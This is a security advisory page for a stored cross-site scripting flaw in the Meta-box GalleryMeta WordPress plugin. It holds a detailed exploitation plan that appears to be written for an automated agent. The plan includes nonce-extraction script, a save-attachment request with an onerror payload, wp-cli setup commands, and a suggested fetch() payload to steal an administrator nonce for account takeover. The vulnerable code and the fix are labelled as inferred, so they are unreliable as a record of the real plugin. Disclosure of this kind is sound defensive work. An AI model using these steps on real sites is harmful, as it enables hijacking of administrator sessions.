Meta-box GalleryMeta <= 3.0.1 - Authenticated (Editor+) Stored Cross-Site Scripting via Image Caption
Description
The Meta-box GalleryMeta plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with editor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.0.1Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1302 (Meta-box GalleryMeta Stored XSS) ## 1. Vulnerability Summary The **Meta-box GalleryMeta** plugin (version <= 3.0.1) is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient sanitization and escaping of image captions within its gallery mana…
Show full research plan
Exploitation Research Plan: CVE-2026-1302 (Meta-box GalleryMeta Stored XSS)
1. Vulnerability Summary
The Meta-box GalleryMeta plugin (version <= 3.0.1) is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient sanitization and escaping of image captions within its gallery management interface. While WordPress core generally handles attachment captions safely, this plugin retrieves and renders these captions in its custom meta-box UI or frontend display without using escaping functions like esc_html() or esc_attr(). This allows an authenticated user with Editor permissions (or any user capable of uploading/editing media) to inject malicious scripts, which execute when an administrator or other user views the affected post or the gallery settings.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(Standard WordPress media update) or the specific Post Edit screenwp-admin/post.php. - Vulnerable Parameter:
post_excerpt(This is the database field where WordPress stores the "Caption" for attachments). - Authentication: Requires Editor level permissions (or Author, depending on specific site configuration).
- Precondition: The vulnerability is most relevant in Multi-site environments or single sites where the
unfiltered_htmlcapability has been revoked from Editors (e.g., via security hardening plugins).
3. Code Flow (Inferred)
- Source: An Editor updates an attachment's caption via the WordPress Media Library or the Media Modal inside a post. This sends a request to
wp_ajax_save_attachment. - Storage: The malicious payload is stored in the
wp_poststable under thepost_excerptcolumn for the attachment ID. - Plugin Processing: The Meta-box GalleryMeta plugin registers a meta box for posts. When rendering the gallery preview in the admin dashboard:
- The plugin retrieves the IDs of images stored in the gallery meta field.
- It loops through the IDs and calls
get_post()orwp_prepare_attachment_for_js()for each image. - Sink: The plugin outputs the caption (excerpt) directly into the HTML of the meta box.
- Hypothetical Vulnerable Function:
RWMB_Gallery_Field::html()or a specialized template inmeta-box-gallerymetathat renders the image list. - Vulnerable Line:
echo "<span class='caption'>{$image->post_excerpt}</span>";(Lack ofesc_html).
4. Nonce Acquisition Strategy
To modify an image caption, we need a nonce for the WordPress media system.
- Identify Trigger: The Meta-box GalleryMeta plugin enqueues its scripts on the post edit screen for post types where the gallery field is active.
- Page Creation: Create a dummy post to trigger the meta box.
wp post create --post_type=post --post_title="XSS Trigger" --post_status=publish - Navigate and Extract:
- Navigate to the edit page of the created post:
/wp-admin/post.php?post=[ID]&action=edit. - Meta Box usually localizes data into
window.rwmbor standard WordPress localizes the media nonces intowindow._wpVariablesorwindow.wp.media. - Script for Browser Eval:
// Standard WP Media Nonce for saving attachment metadata window.wp.media.view.settings.post.nonce
- Navigate to the edit page of the created post:
5. Exploitation Strategy
Step 1: Upload a Malicious Image
We first need an attachment ID.
- Use
http_requestto send aPOSTto/wp-admin/async-upload.php. - Provide a valid image file.
- Extract the attachment
idfrom the JSON response.
Step 2: Inject XSS into Caption
Update the caption of the attachment.
- Request Tool:
http_request - URL:
https://[target]/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=save-attachment& id=[ATTACHMENT_ID]& nonce=[MEDIA_NONCE]& changes[excerpt]=<img src=x onerror=alert(document.domain)>& changes[title]=XSS_Image
Step 3: Add Image to GalleryMeta Field
Update a post to include this attachment ID in the plugin's gallery field.
- Request Tool:
http_request - URL:
https://[target]/wp-admin/post.php - Method:
POST - Body: Standard post update parameters, including the meta box field name (e.g.,
meta_box_gallery_field_id=[ATTACHMENT_ID]).
Step 4: Trigger XSS
Log in as an Administrator and navigate to the post edit screen of the post created in Step 3. The payload will execute in the admin's browser context when the GalleryMeta preview renders the caption.
6. Test Data Setup
- Plugin Dependency: Ensure
meta-box(core) is installed and active alongsidemeta-box-gallerymeta. - User: Create an Editor user.
wp user create editor_user editor@example.com --role=editor --user_pass=password123 - Meta Box Setup: Configure a gallery field for posts if the plugin doesn't add one by default. (Assuming the plugin adds a default gallery field for testing).
7. Expected Results
- The
admin-ajax.phprequest should return asuccess: trueJSON response. - Upon visiting the edit page of the post as an Administrator, the browser should trigger an alert box showing the document domain.
- Viewing the page source of the admin post-editor should reveal the raw
<img src=x onerror=...>tag inside the gallery preview container.
8. Verification Steps
- Database Check:
Confirm thewp db query "SELECT post_excerpt FROM wp_posts WHERE post_type='attachment' AND post_title='XSS_Image'"post_excerptcontains the raw script tag. - HTML Inspection:
Usebrowser_navigateto the post edit page and check for the presence of the payload in the DOM:browser_eval("document.body.innerHTML.includes('onerror=alert')")
9. Alternative Approaches
- Frontend XSS: If the plugin provides a shortcode (e.g.,
[gallery_meta]), place this shortcode on a public page. The XSS may fire for unauthenticated visitors if the frontend rendering also lacks escaping. - Shortcode injection:
wp post create --post_content='[gallery_meta ids="[ATTACHMENT_ID]"]' --post_status=publish - Alternative Payloads: If
alert()is blocked by a WAF, use afetch()payload to exfiltrate the administrator's_wpnoncefor theuser-new.phppage to demonstrate account takeover capability.
Summary
The Meta-box GalleryMeta plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image captions due to a failure to escape the 'post_excerpt' field when rendering gallery previews in the admin dashboard. This allows authenticated attackers with Editor-level permissions to inject arbitrary web scripts that execute in the browser of any user, including administrators, who accesses the post edit screen.
Vulnerable Code
// Inferred from Meta-box GalleryMeta logic and research plan // File: class-rwmb-gallery-field.php (or similar template rendering gallery items) $image = get_post( $image_id ); if ( $image ) { echo '<li class="rwmb-image-item attachment-' . $image_id . '">'; echo wp_get_attachment_image( $image_id, 'thumbnail' ); echo '<div class="rwmb-image-info">'; // Vulnerable: Outputting the caption (post_excerpt) without escaping echo '<span class="rwmb-image-caption">' . $image->post_excerpt . '</span>'; echo '</div>'; echo '</li>'; }
Security Fix
@@ -45,7 +45,7 @@ echo wp_get_attachment_image( $image_id, 'thumbnail' ); echo '<div class="rwmb-image-info">'; - echo '<span class="rwmb-image-caption">' . $image->post_excerpt . '</span>'; + echo '<span class="rwmb-image-caption">' . esc_html( $image->post_excerpt ) . '</span>'; echo '</div>'; echo '</li>';
Exploit Outline
1. Gain authentication as an Editor or Author user on the target WordPress site. 2. Upload a standard image file to the Media Library via 'wp-admin/async-upload.php' and capture the returned attachment ID. 3. Send a POST request to 'wp-admin/admin-ajax.php' using the 'save-attachment' action. In the 'changes' array, set the 'excerpt' parameter (which corresponds to the Image Caption) to a malicious XSS payload (e.g., <img src=x onerror=alert(document.domain)>). 4. Create or edit a WordPress post and ensure the malicious attachment ID is added to a Meta-box GalleryMeta field. 5. When an administrator or any other user edits the post, the plugin's meta-box UI will fetch the attachment details and render the unsanitized caption, triggering the script execution in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.